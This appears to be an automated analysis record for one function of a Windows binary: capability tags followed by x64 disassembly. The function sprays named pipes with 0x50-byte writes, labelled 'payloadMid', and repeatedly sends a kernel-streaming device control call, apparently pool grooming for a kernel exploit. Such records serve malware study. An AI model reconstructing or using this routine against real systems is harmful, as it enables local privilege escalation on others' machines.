Function at 0x140001220
Capabilities:
Create pipe
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, qword [rsp + 0xd0]
mov ecx, 0x8000
mov qword [rsp + 0x50], r9
mov rbp, rdx
mov qword [rsp + 0x40], r8
call fcn.1400087a4
mov ecx, 0x8000
mov r13, rax
call fcn.1400087a4
mov ecx, 0x100
mov qword [rsp + 0x48], rax
mov r12, rax
call fcn.1400087a4
mov r14, rax
mov r15, r13
movabs rax, 0x4fac41982f2c8ddd
sub r15, rsi
mov rdi, rsi
mov qword [r14], rax
movabs rax, 0x6deb705bb6129ba
mov qword [r14 + 8], rax
movabs rax, 0x200000000
mov qword [r14 + 0x10], rax
xor eax, eax
mov qword [r14 + 0x18], rax
mov ebx, eax
mov qword [r14 + 0x20], rax
sub r12, rsi
nop word [rax + rax]
mov qword [rsp + 0x38], rax
lea rcx, str..pipeinnocent
mov dword [rsp + 0x30], eax
xor r8d, r8d
mov dword [rsp + 0x28], 0x50
mov r9d, 0xff
mov dword [rsp + 0x20], 0x50
lea edx, [r8 + 3]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
xor ecx, ecx
xor r9d, r9d
mov edx, 0xc0000000
mov qword [r15 + rdi], rax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
lea r8d, [rcx + 3]
mov dword [rsp + 0x20], 1
lea rcx, str.__rootsystem00003c0d501a_140b_11d1_b40f_00a0c922319696e080c7_143c_11d1_b40f_00a0c92231963c0d501a_140b_11d1_b40f_00a0c9223196
call qword [sym.imp.KERNEL32.dll_CreateFileA]
xor ecx, ecx
mov r9d, 0x100
mov r8, r14
mov qword [rdi], rax
mov qword [rsp + 0x38], rcx
mov edx, 0x2f0400
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor eax, eax
lea rcx, str..pipeinnocent
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], eax
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rax + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
lea r9, [rsp + 0x58]
mov rdx, rbp
mov qword [r12 + rdi], rax
mov qword [rsp + 0x20], rcx
lea r8d, [rcx + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000146e
inc rbx
add rdi, 8
mov eax, 0
cmp rbx, 0x1000
jl 0x1400012d0
xor edi, edi
mov ebx, edi
mov rcx, qword [rsi + rbx*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
cmp rbx, 0x1000
jl 0x1400013d3
mov rbx, rdi
nop dword [rax]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, str.__rootsystem00003c0d501a_140b_11d1_b40f_00a0c922319696e080c7_143c_11d1_b40f_00a0c92231963c0d501a_140b_11d1_b40f_00a0c9223196
mov edx, 0xc0000000
mov dword [rsp + 0x20], 1
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x38], rdi
mov r9d, 0x100
mov qword [rsp + 0x30], rdi
mov rcx, rax
mov dword [rsp + 0x28], edi
mov r8, r14
mov edx, 0x2f0400
mov qword [rsp + 0x20], rdi
mov qword [rsi + rbx*8], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
add rbx, 4
cmp rbx, 0x1000
jl 0x1400013f0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov qword [rax], r13
mov rax, qword [rsp + 0x48]
mov qword [rcx], rax
xor eax, eax
jmp 0x140001487
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_writeFile_payloadMid__d
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140002230
mov rbx, qword [rsp + 0xb0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret